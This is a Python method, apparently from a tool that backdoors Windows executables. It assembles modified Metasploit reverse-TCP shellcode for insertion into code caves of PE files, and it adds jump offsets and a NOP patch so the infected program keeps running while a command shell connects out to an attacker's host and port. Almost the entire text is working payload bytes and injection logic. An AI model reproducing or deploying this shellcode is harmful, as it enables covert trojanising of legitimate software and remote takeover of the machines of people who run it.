    def reverse_shell_tcp_inline(self, flItms, CavesPicked={}):
        """
        Modified metasploit windows/shell_reverse_tcp shellcode
        to enable continued execution and cave jumping.
        """

        if self.PORT is None:
            print ("This payload requires the PORT parameter -P")
            return False

        if self.HOST is None:
            print "This payload requires a HOST parameter -H"
            return False

        #breakupvar is the distance between codecaves
        breakupvar = eat_code_caves(flItms, 0, 1)
        self.shellcode1 = "\xfc\xe8"

        if flItms['cave_jumping'] is True:
            if breakupvar > 0:
                if len(self.shellcode1) < breakupvar:
                    self.shellcode1 += struct.pack("<I", int(str(hex(breakupvar - len(self.stackpreserve) -
                                                                 len(self.shellcode1) - 4).rstrip("L")), 16))
                else:
                    self.shellcode1 += struct.pack("<I", int(str(hex(len(self.shellcode1) -
                                                             breakupvar - len(self.stackpreserve) - 4).rstrip("L")), 16))
            else:
                    self.shellcode1 += struct.pack("<I", int('0xffffffff', 16) + breakupvar - len(self.stackpreserve) -
                                                   len(self.shellcode1) - 3)
        else:
            self.shellcode1 += "\x89\x00\x00\x00"

        self.shellcode1 += ("\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
                            "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
                            "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
                            "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
                            "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
                            "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
                            "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
                            "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
                            "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
                            "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86"
                            )

        self.shellcode2 = ("\x5d\x68\x33\x32\x00\x00\x68"
                           "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
                           "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
                           "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
                           "\x68"
                           )
        self.shellcode2 += self.pack_ip_addresses()  # IP
        self.shellcode2 += ("\x68\x02\x00")
        self.shellcode2 += struct.pack('!H', self.PORT)  # PORT
        self.shellcode2 += ("\x89\xe6\x6a\x10\x56"
                            "\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
                            "\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
                            "\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
                            "\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
                            #The NOP in the line below allows for continued execution.
                            "\xe0\x4e\x90\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
                            "\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
                            "\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
                            "\x81\xc4\xfc\x01\x00\x00"
                            )

        self.shellcode = self.stackpreserve + self.shellcode1 + self.shellcode2 + self.stackrestore
        return (self.stackpreserve + self.shellcode1, self.shellcode2 + self.stackrestore)
Modified metasploit windows/shell_reverse_tcp shellcode
to enable continued execution and cave jumping.
intel/WinIntelPE32.py